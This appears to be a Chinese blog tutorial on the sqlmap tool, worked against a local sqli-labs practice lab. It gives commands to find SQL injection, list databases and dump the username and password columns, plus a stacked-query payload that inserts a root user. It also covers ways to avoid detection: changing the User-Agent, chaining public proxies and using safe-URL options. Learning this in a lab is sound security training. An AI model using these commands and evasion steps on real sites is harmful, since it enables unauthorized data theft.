SQLMAP的使用

目录

一、SQLMAP 介绍

1、SQLMAP 简介

2、SQLMAP 支持的注入类型

3、运行 sqlmap

4、SQLMAP 常用参数介绍   

 二、SQLMAP 常用探测方式

1、探测单个目标

2、探测多个目标

3、从文件加载 HTTP 请求进行探测

4、从 burpsuite 日志记录中进行探测

5、检测 SQL 注入漏洞存在的技术类型

6、枚举数据库信息

三、SQLMAP 请求参数

1、默认的请求参数

2、修改默认请求参数

3、使用代理进行探测

4、忽略未验证错误

5、sqlmap 安全模式

6、关闭 URL 编码


一、SQLMAP 介绍

1、SQLMAP 简介

SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与 利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
官方网站下载 http://sqlmap.org/
        

        

2、SQLMAP 支持的注入类型

sqlmap 支持 5 种漏洞检测类型:
1. 基于布尔的盲注检测
2. 基于时间的盲注检测
3. 基于错误的检测
4. 基于 union 联合查询的检测
5. 基于堆叠查询的检测
        
拓展:堆叠查询注入 Less-38
http://192.168.1.63/sqli-labs/Less-38/?id=1 '; insert into users(id,username,password)
values ('66','root','123')--+
使用;分号来直接添加一条新的 SQL 语句来进行执行就是堆叠查询注入。
例:
        

                 

3、运行 sqlmap

Kali 中运行 sqlmap 的方式
        
其实这种方法其实就是在终端执行了 sqlmap -h 这样一条命令
└─# sqlmap -h
        

4、SQLMAP 常用参数介绍

sqlmap --version         #查看 sqlmap 版本信息.
-h                                  #查看功能参数(常用的)
-hh                                #查看所有的参数 (如果有中文包 就最好了)
-v                                  #显示更详细的信息 一共 7 级, 从 0-6.默认为 1, 数值越大,信息显示越 详细.
Target                           #(指定目标):
-d                                  #直接连接数据库侦听端口,类似于把自己当一个客户端来连接.
-u                                  #指定 url 扫描,但 url 必须存在查询参数. 例: xxx.php?id=1
-l                                   #指定 logfile 文件进行扫描,可以结合 burp 把访问的记录保存成一个 log 文件, sqlmap 可以直接加载 burp 保存到 log 文件进行扫描
-m                                 #如果有多个 url 地址,可以把多个 url 保存成一个文本文件 -m 可以加载 文本文件逐个扫描
-r                                  #把 http 的请求头,body 保存成一个文件 统一提交给 sqlmap,sqlmap 会读取内容进行拼接请求体
--timeout                     #指定超时时间
--retries                       #指定重试次数
--skip-urlencode          #不进行 URL 加密

        

 二、SQLMAP 常用探测方式

1、探测单个目标

选项:-u 或者--url
针对单个 URL 进行 SQL 注入探测
                
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.103/sqli-labs/Less-1/?id=1"

        

2、探测多个目标

新建一个文本文件插入 3 条 URL 地址
┌──(root💀kali)-[~]
└─# vim xuegod.txt
http://192.168.1.103/sqli-labs/Less-1/?id=1
http://192.168.1.103/sqli-labs/Less-2/?id=1
http://192.168.1.103/sqli-labs/Less-3/?id=1
└─# sqlmap -m xuegod.txt --dbs --users
-m                      #指定文件进行探测
--dbs                  #探测可用数据库名称
--users              #探测数据库用户名称
        
                
无交互,使用默认方式进行探测。
└─# sqlmap -m xuegod.txt --dbs --users --batch
--batch #参数可以在探测过程中不使用交互式信息来询问我们是否继续探测。一切都使用默认
配置。
        

3、从文件加载 HTTP 请求进行探测

-r 用来指定 HTTP 请求文件
1、首先打开 burpsuite,关闭 intercept 功能。
2、打开浏览器,访问 http://192.168.1.102/sqli-labs/Less-20/,并在 Username 输入 admin,
Password 输入 admin,并提交。
        
注: 我们需要抓取登录以后存在 cookie 的 HTTP 请求
        

         

┌──(root💀kali)-[~]
└─# vim cookie.txt  

GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 192.168.1.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.102/sqli-labs/Less-20/
Connection: close
Cookie: uname=admin
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0 

└─# sqlmap -r cookie.txt --level 3 --batch dbs
--level 检测级别,取值(1-5)默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数,当 level 大于等于 2 时会测试 cookie 参数,当 level 大于等于 3 时会测试 User-Agent 和 Referer,当 level=5 时会测试 Host 头

         

         

4、从 burpsuite 日志记录中进行探测

Burpsuite 开启日志记录        

浏览器中访问几个页面进行测试
http://192.168.1.63/sqli-labs/Less-1/?id=1
http://192.168.1.63/sqli-labs/Less-2/?id=1
http://192.168.1.63/sqli-labs/Less-3/?id=1
http://192.168.1.63/sqli-labs/Less-4/?id=1
全部点击放行          
        
      
使用日志文件进行探测
└─# sqlmap -l burpsuite.txt --leve 3 --dbs --batch
        
        

5、检测 SQL 注入漏洞存在的技术类型

--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--technique
B: Boolean-based blind(布尔盲注)
E: Error-based(报错注入)            
U: Union query-based(联合查询注入)
S: Stacked queries(文件系统,操作系统,注册表相关注入)
T: Time-based blind(时间盲注)
默认全部使用
注:当使用 sqlmap 要读取目标系统上文件,或对目标系统进行指令的操作,或者对读取目标系统
注册表(windows)的话,需要使用 S。
        

         

例 1:指定使用布尔型探测
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --technique=B --batch
        
        

6、枚举数据库信息

--dbs                 #枚举数据库名称
--tables             #枚举表名称
--columns         #枚举字段名称
        
例 1:获取数据库名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dbs
        
        
例 2:获取表名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables
-D
#指定数据库进行枚举表名称
                
        
例 3:获取字段名称
获取 security 数据库中 users 表中的字段名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security -T users --
columns
        
获取 security 数据库中所有表的字段名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables --
columns
        
        
例 4:获取字段数据
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dump -D security -T
users -C "username,password"
--dump                 #转储获取到的数据库信息。
-C                         #指定字段
        
        

三、SQLMAP 请求参数

1、默认的请求参数

打开 WireShark 关闭混杂模式进行抓包,捕获过滤器:192.168.1.102
执行探测任务
        
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --batch
执行完成后停止抓包

         

可以看到默认的 User-Agent 为:User-Agent: sqlmap/1.5.2#stable (http://sqlmap.org)\r\n
SQLMAP 的特征非常明显,网站管理员可以通过这些明显的特征对我们的访问进行过滤。

        

2、修改默认请求参数

例 1:手动指定请求参数
        
└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0
(X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch
--user-agent                 #手动指定 User-Agent 内容
        

例 2:随机修改请求参数 

└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --random-agent --batch

         

3、使用代理进行探测

 使用代理进行探测时,是不能够探测内网目标的,除非目标在公网也能够正常访问。

┌──(root💀kali)-[~]
└─# sqlmap -u "IP" --proxy
"http://49.86.177.212:9999" --delay="1" --random-agent --batch
        
例 2:使用多个代理地址进行探测
新建代理列表文件,填写多个代理地址。
        
└─# vim proxy.txt
http://36.248.132.30:9999
http://123.54.47.101:9999
http://114.239.150.47:9999
http://58.253.158.122:9999
http://49.89.143.236:9999
        
└─# sqlmap -u "IP" --proxy
file=/root/proxy.txt --delay 1 --random-agent --batch
--proxy-file 指定代理文件
       
         
        

4、忽略未验证错误

参数:
--ignore-401                 #忽略未验证错误
为什么要忽略错误呢?
原因是我们测试存在 HTTP 认证的网站时会提示我们输入用户名密码,如果没有输入密码会返回
401 错误,所以这个时候如果需要继续探测就需要忽略该错误。
        
        
        

5、sqlmap 安全模式

如果执行了一定数量的不成功请求,则 Web 应用程序或其间的检查技术会破坏会话。这可能发生在 sqlmap 的检测阶段或利用任何 SQL 盲注类型时。原因是 SQL 有效负载不一定返回输出,因此可能被应 用程序会话管理或检查技术检测到从而破坏会话。
        
--safe-url                           #测试期间经常访问的 URL 地址。
--safe-post                        #HTTP POST 数据发送到给定的安全 URL 地址。
--safe-req                          #从文件加载并使用安全的 HTTP 请求。
--safe-freq                         #在两次访问给定安全位置之间测试请求。
        
sqlmap 将访问每个预定义数量的请求,而不对 safe url 执行任何类型的注入。
        
        

6、关闭 URL 编码

参数:
--skip-urlencode
#这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求
数据以非编码方式进行传输。

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值